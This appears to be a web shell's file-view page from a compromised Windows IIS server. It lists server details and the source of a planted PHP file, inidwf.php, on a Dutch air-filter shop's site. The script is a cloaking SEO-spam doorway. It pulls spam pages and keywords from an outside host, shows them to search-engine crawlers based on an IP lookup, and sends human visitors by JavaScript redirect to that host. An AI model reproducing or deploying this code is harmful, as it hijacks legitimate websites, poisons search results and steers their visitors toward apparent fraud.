HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers57/topsluchtfilters.nl/wwwroot/inidwf.php
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$kname="";
if(!is_null($_GET['iid'])){
$kname=$_GET['shop'];
$gjc1=file_get_contents("http://wzdy.lc7.fr/getci.aspx?cid=".$_GET['cid']."&s=2&e=4");
$gjc2=file_get_contents("http://wzdy.lc7.fr/getci.aspx?cid=".$_GET['cid']."&s=5&e=7");
}
if(!is_null($_GET['number']))
{$cid=mt_rand(1,170);
if(!is_null($_GET['cid'])){$cid=$_GET['cid'];}
$url="http://wzdy.lc7.fr/sjd2.aspx?cid=".$cid."&number=".$_GET['number']."&pnum=".$_GET['pnum'];
$str=file_get_contents($url);
$str=str_replace('yymm', $http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'],$str);
 echo $str;
 exit();
}
function check($ip){
	if(!is_null($_GET['kk'])){$ip="66.249.64.190";}
    $domain = file_get_contents("http://wzdy.lc7.fr/getdomain.aspx?rnd=1&ip=".$ip);
    if(stripos($domain,'google')!=false or stripos($domain,'msn.com')!=false or stripos($domain,'yahoo.com')!=false or stripos($domain,'aol.com')!=false){}
else
	{
	if(!is_null($_GET['iid']))	 
	{
	$kname=$_GET['shop'];;
    $xs="http://wzdy.lc7.fr/a.aspx";
echo '<script>document.location="'.$xs."?cid=".$_GET['cid']."&cname=".urlencode($kname).'"</script>';
exit();
	}
	if(!is_null($_GET['pnum']))	 
	{
		$xs="http://wzdy.lc7.fr/a.aspx";
		$txt=str_replace("products.aspx","",$xs)."?cid=".$_GET['cid'];
        echo '<script>document.location="'.$txt.'"</script>';
		exit();
	}
    }		
    }
   function getIP() { 
		if (getenv('HTTP_CLIENT_IP')) { 
			$ip = getenv('HTTP_CLIENT_IP'); 
		} elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
			$ip = getenv('HTTP_X_FORWARDED_FOR'); 
		} elseif (getenv('HTTP_X_FORWARDED')) { 
			$ip = getenv('HTTP_X_FORWARDED'); 
		} elseif (getenv('HTTP_FORWARDED_FOR')) { 
			$ip = getenv('HTTP_FORWARDED_FOR'); 
		} elseif (getenv('HTTP_FORWARDED')) { 
			$ip = getenv('HTTP_FORWARDED'); 
		} else { 
			$ip = $_SERVER['REMOTE_ADDR']; 
		} 
		return $ip; 
	} 
$validate = check(getIP());
?> 
<?php
$url="";
$hyzhdy="http://wzdy.lc7.fr/doiid2.aspx";
if(!is_null($_GET['iid'])){
$wid=mt_rand(1,5218);
$url=$hyzhdy."?iid=".$_GET['iid']."&mt=http://wzdy.lc7.fr/wz/wz_".$wid.".txt&cid=".$_GET['cid'];
 }
 else
 {
 $cid=mt_rand(1,170);
	if(!is_null($_GET['cid']))
	{
		$cid=$_GET['cid'];
	}
	$url=$hyzhdy."?cid=".$cid."&pnum=".$_GET['pnum'];
 }
 $ttttt=$kname." Online -  Off".mt_rand(50,70)."%".$_GET['pnum'];
 $kkkkk=$kname.",".$gjc1;
 $iiiii=$kname.",".$gjc2.".";
 $ccccc=$http_type.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];

 $str = file_get_contents($url);
 $str=str_replace('UUUUU',$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'],$str);
 $str=str_replace('BBBBB',$_SERVER['HTTP_HOST'],$str);
 $str=str_replace('NNNNN',$kname.$_GET['iid'],$str);
 $str=str_replace('DDDDD',$kname." Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping ".$_GET['searchtxt'],$str);
 $str=str_replace('TTTTT', $ttttt,$str);
 $str=str_replace('KKKKK', $kkkkk,$str);
 $str=str_replace('IIIII', $iiiii,$str);
 $str=str_replace('CCCCC', $ccccc,$str);
 echo $str;
?>